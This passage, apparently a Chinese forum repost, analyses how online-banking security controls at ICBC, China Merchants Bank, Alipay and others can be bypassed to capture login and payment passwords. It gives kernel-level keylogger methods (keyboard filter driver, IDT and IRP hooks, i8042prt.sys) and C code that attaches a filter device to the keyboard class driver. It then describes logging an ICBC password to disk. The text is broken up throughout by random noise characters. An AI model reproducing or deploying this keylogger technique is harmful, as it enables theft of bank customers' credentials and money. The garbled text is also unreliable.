. ?& C' ?# a! g+ R& @' R* U随着子商务的普及，网上银行以及在线电子支付等方式逐渐被网民所接受和喜爱。但是网上银行以及电子商务支付平台的安全性不容乐观。尽管各网上银行采取SSL加密防止通过嗅探网络封包的方式截取密码；对于防止WEB登陆时密码被窃取，网上银行采取了安全控件或者动态软键盘的方法，但考虑的仍不全面，我们还是能采取相应的方法截获用户输入的密码。( N, ?/ J# q$ {3 b* c) l% T
: Z, ^3 t9 x9 Z! H; I0 c" K* N# t 下面就以具有代表性的四大银行：中国工商银行、中国农业银行、中国建设银行、中国银行；商业银行：招商银行；电子支付平台：阿里巴巴支付宝等为例，分别就客户端密码方面进行脆弱性分析。网上银行以及其他电子商务支付平台的WEB登陆安全性直接与用户的经济利益相关，所以有必要不遗余力的加强WEB登陆安全性的建设。另外由于不是所有的用户都使用数字证书和U盾之类安全认证产品，所以“黑客”只要截取到用户的登陆密码以及支付密码就能随心所欲的转帐/支付，危害甚大。 4 r* z* C& h& ~% u/ p1 @; }. o e + l9 @! J% O. {3 l5 Y3 ~$ u 本文谈的是采用纯技术截取密码，而不是用假页面假接口等钓鱼方式骗取密码的方法。7 ?* W! x% l3 }1 y( p" P6 K# W e; K
7 o, b1 s% n/ y$ p$ y
网上银行对于防止密码被盗分别采用了安全控件和动态软键盘的方法： ' ]+ m3 O/ y7 S. T5 U4 o% E; Q7 h) c7 }# }/ ]. u 1、采取安全控件的，典型代表有：中国工商银行、招商银行、阿里巴巴支付宝等. : r1 P, K5 N8 l& Z' _& u0 ^9 O ( [7 C& K& s7 E5 a 这类安全控件考虑还算全面，防止了键盘/消息钩子，而且使通过IE的COM接口获取密码的方法也无能为力。但是这类安全控件做得不够底层，考虑得欠深入。 . H) L/ o/ e+ x+ D
: V( z6 p! o$ l+ r, G 我们采用键盘过滤驱动的方法就可以突破安全控件的保护记录密码了。除了键盘过滤驱动方法外还可以挂接IDT（中断描述符表）的键盘入口，或者挂钩键盘驱动Dispatch例程以及Inline hook相应IRP分发函数。 当然，更深入点的话还可以挂钩i8042prt.sys。 % k S8 _3 T0 r! P4 y' _3 O& n+ H* g: P) R8 L# {
不过由于编写驱动程序不同与开发普通的应用程序，难度稍大，所以目前还未见公开的采用此技术截取这些网上银行密码的木马。但是开发起来也并不是太困难，相对而言采取键盘过滤驱动的方法较通用稳定。" d' M: s' j* Q6 x
9 ~! m; L7 y; E! J. @" l4 T 基本原理是我们的驱动创建一个设备附加到键盘驱动Kbdclass下的设备，这样所有的IRP（输入输出请求包）包都将先发给我们的驱动程序，然后再转发给系统中的键盘驱动，我们的驱动程序获取IRP后就可以从中获得键盘的scancode扫描码，这样就能在系统内核的层面获得键盘输入信息。键盘过滤驱动的部分代码如下： ) N% m: L8 u( b% g& h. s& Q ( ? t8 \7 `7 w r/ l NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)% S2 k" s& `$ d# V" z
{ 3 h( m# H6 g7 p/ Y {7 z$ s3 S PDEVICE_OBJECT pKeyboardDeviceObject;( z6 _$ A# K1 J8 p7 o
NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, true, &pKeyboardDeviceObject);" A- _: d, V1 Q
pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE); # I/ h! G2 ^, H9 \7 E2 r pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags& ~DO_DEVICE_INITIALIZING;4 Y& `- [" Z$ {% f# B* f2 {
RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION)); I% R. Y0 u2 y
PDEVICE_EXTENSION pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension; ) I, ^6 h, l* b6 U) b
CCHAR ntNameBuffer[64] = "\\Device\\KeyboardClass0"; + Y+ |9 {/ @" ]: s, j STRING ntNameString; 4 C, l! r5 P: `# A UNICODE_STRING uKeyboardDeviceName; ) H, \) [9 n0 ~- U* Y4 Z RtlInitAnsiString( &ntNameString, ntNameBuffer );' p. u9 p: e% u3 d5 x$ J0 v
RtlAnsiStringToUnicodeString( &uKeyboardDeviceName, &ntNameString, TRUE ); 9 V$ H. {9 Y4 T- K IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);2 b+ I: _9 R, ^! [0 k, l _+ F# H6 ~
RtlFreeUnicodeString(&uKeyboardDeviceName);2 \; l- @: }# k, E3 ?1 `5 t- _. z
return STATUS_SUCCESS;7 z: H% z6 R k1 G/ Y
}2 f; P# D. H; D) X( T2 e
) _$ s0 p5 U* |' D9 M
: s6 U2 c! W6 j2 l
下面以工商银行的网上银行为例，演示我们的程序。为了演示，我们的驱动程序将实时打印出获得的键盘记录的信息，并且把完整的信息记录到磁盘文件上。招商银行、阿里巴巴支付宝等效果等同，支付密码用此法同样能截取。截取时实时打印的信息 如图1：/ V b. k( n6 e0 ~) M3 Y
" U: q2 B. X( t
